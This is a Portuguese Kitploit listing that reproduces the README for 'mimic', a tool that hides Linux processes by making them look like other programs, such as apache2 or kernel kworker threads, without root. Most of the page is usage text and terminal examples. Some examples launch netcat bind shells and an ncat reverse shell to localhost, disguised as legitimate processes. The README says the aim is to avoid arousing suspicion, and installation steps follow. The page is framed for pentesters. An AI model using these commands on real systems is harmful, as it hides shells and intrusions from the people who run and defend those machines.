Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
mimic — Ocultar processos como um usuário normal no Linux. | Kitploit
Ferramentas/GitHubGitHub/emptymonkey/mimic
Evasão de IDS/IPSTestes de PenetraçãoRed Teaming
GitHubemptymonkey/mimic

mimic

Ocultar processos como um usuário normal no Linux.

Ver Repositório
26351há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

mimic

mimic é uma ferramenta para execução oculta em Linux x86_64.

O que é "execução oculta"?

Execução oculta é a arte de esconder um processo. Neste caso, mimic esconde o processo à vista de todos. mimic pode executar qualquer programa e fazê-lo parecer qualquer outro programa. Qualquer usuário pode usá-lo. Não requer permissões especiais. Não requer binários especiais. Não requer um root kit.

O quê?! Sem privilégios especiais??

Isso mesmo. mimic funciona reorganizando as estruturas internas de um processo de tal forma que confunde a entrada /proc desse processo. Todas as ferramentas que relatam a natureza de um processo o fazem examinando /proc. Se conseguirmos dobrar o /proc, podemos esconder um processo à vista de todos. Como estamos apenas alterando o estado de um processo que possuímos, qualquer pessoa pode executar mimic com sucesso.

Isso pode ser detectado?!

Claro, mas apenas se você estiver olhando muito de perto, ou executando uma ferramenta forense que esteja procurando por esse tipo de coisa. A utilidade por trás do mimic é que ele impedirá que alguém fique desconfiado em primeiro lugar.

Isso funciona com scripts?

Sim, mas você precisa chamar o mimic diretamente no interpretador. Por exemplo, se a primeira linha do seu script for "#!/usr/bin/perl", então você vai querer chamar mimic assim:

root@kitploit:~
empty@monkey:~$ mimic -e "/usr/bin/perl test.pl" 

Ao invocar o interpretador diretamente, o mimic pode fazer sua mágica.

Qual é o público-alvo do mimic?

Qualquer pessoa que precise legitimamente de execução oculta antes de obter root. Isso inclui, mas não se limita a:

  • Pentesters.
  • Investigadores realizando operações encobertas (com a aprovação prévia de seus departamentos Jurídico e de RH, é claro.)

Por que se chama "mimic"?

Porque "Mentiroso, mentiroso, /proc em chamas!" era muito longo.

O que é "set_target_pid"?

set_target_pid é um pequeno programa auxiliar no conjunto mimic que irá esgotar pids até que o que você deseja retorne. Isso permite que você escolha onde na listagem de processos você quer que seu processo se posicione. Note que o kernel reserva os primeiros 300 pids para threads do kernel. Se você tentar ir abaixo disso, provavelmente acabará executando com o pid 301.

Uso

root@kitploit:~
uso: mimic -e COMANDO [-m MIMICO] [-b] [-a CHAVE=VALOR] [-q] [-h]
	-e	Executa COMANDO.
	-m	Configura COMANDO para parecer com MIMICO.
			Padrão para não-root:    "/usr/sbin/apache2 -k start"
			Padrão para root:        "[kworker/0:0]"
	-b	Executa COMANDO em segundo plano.
	-a	Adiciona / sobrescreve CHAVE ao ambiente mimic com o VALOR associado.
	-q	Fique quieto! Não imprima saída normal.
	-h	Imprime esta mensagem útil.

	Notas:
		O ambiente MIMICO será uma cópia do ambiente COMANDO.
		A variável '_' é alterada automaticamente.
		A flag -a pode ser chamada várias vezes para adicionar / sobrescrever múltiplas variáveis.

	Exemplos:
		mimic -e /bin/bash
		set_target_pid 1 && mimic -e /bin/bash
		mimic -b -e "./revsh"
		mimic -b -e "nc -l -e /bin/bash"
		mimic -b -e "nc -l -e \"mimic -e /bin/bash\""

Exemplos

Primeiro exemplo - Iniciando um ouvinte netcat como usuário comum:

root@kitploit:~
empty@monkey:~$ ./mimic -b -e "/usr/local/bin/ncat -l -e \"./mimic -e /bin/bash\""
Launching child...                  Success!
Waiting for child to attach...      Success!
Initializing ptrace_do...           Success!
Determining stack state...          Success!
Politely requesting name change...  Success!
Searching for main()...             Success!
Building execution headers...       Success!
Setting up final state...           Success!

	Good-bye and have a good luck! :)

empty@monkey:~$ ps aux | grep apache
empty     1931 19.5  0.0  16648  1324 pts/1    S    21:41   0:02 /usr/sbin/apache2 -k start
empty     1935  0.0  0.0   7596   836 pts/1    S+   21:41   0:00 grep apache

empty@monkey:~$ sudo lsof -i -n -P | grep apache
[sudo] password for empty: 
apache2  1931 empty    3u  IPv6  14462      0t0  TCP *:31337 (LISTEN)
apache2  1931 empty    4u  IPv4  14463      0t0  TCP *:31337 (LISTEN)

Segundo exemplo - Iniciando uma reverse shell netcat como root:

root@kitploit:~
root@monkey:~$ /home/empty/code/mimic/set_target_pid 1 && /home/empty/code/mimic/mimic -b -q -e "/usr/local/bin/ncat -e \"/home/empty/code/mimic/mimic -e \\\"/bin/bash\\\"\" localhost 9999"

Consegue identificar os kworkers falsos? Você seria capaz de identificá-los sem a ajuda do grep?

root@kitploit:~
root@monkey:~$ ps aux | grep kworker | grep -v grep
root        18  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/3:0]
root       197  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:3]
root       198  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:4]
root       199  0.0  0.0      0     0 ?        S    19:39   0:06 [kworker/u:5]
root       302 23.4  0.0  18748  1912 pts/5    S    22:28   0:02 [kworker/0:0]
root       304 11.4  0.0   3780   296 pts/5    S    22:28   0:00 [kworker/0:0]              
root       305 10.8  0.0  10644  1200 pts/5    S    22:28   0:00 [kworker/0:0]
root       426  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/1:0]
root       434  0.0  0.0      0     0 ?        S    20:20   0:00 [kworker/3:2]
root       536  0.0  0.0      0     0 ?        S    20:12   0:00 [kworker/0:0]
root       879  0.0  0.0      0     0 ?        S    20:39   0:00 [kworker/2:0]
root      1463  0.0  0.0      0     0 ?        S    19:39   0:00 [kworker/1:2]
root      2132  0.0  0.0      0     0 ?        S    19:47   0:00 [kworker/2:2]
root      2607  0.0  0.0      0     0 ?        S    20:01   0:01 [kworker/0:1]

Claro, nenhum kworker deveria ter um socket aberto, mas tenho certeza que você pode ser mais criativo com suas escolhas de nomes do que isso. :)

root@kitploit:~
root@monkey:~$ lsof -i -n -P | grep kworker
kworker/0  302  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  304  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)
kworker/0  305  root    4u  IPv4  20546      0t0  TCP 127.0.0.1:47054->127.0.0.1:9999 (ESTABLISHED)

Note que estou executando aqui como root apenas porque um thread kworker seria muito suspeito executando como um usuário não-root. O novo nome mimic é apenas uma string. Não precisa ser um processo existente. Diabos, não precisa nem ser algo real!

root@kitploit:~
empty@monkey:~$ code/mimic/mimic -q -e /bin/bash -m "Totally not a rootkit\!"

empty@monkey:~$ ps aux | grep rootkit | grep -v grep
empty      399  2.9  0.0   3780   300 pts/4    S    22:34   0:00 Totally not a rootkit!          
empty      400  2.7  0.0  19372  2044 pts/4    S    22:34   0:00 Totally not a rootkit!

Instalação

root@kitploit:~
git clone https://github.com/emptymonkey/ptrace_do.git
cd ptrace_do
make
cd ..

git clone https://github.com/emptymonkey/mimic.git
cd mimic
make
Baixar ferramenta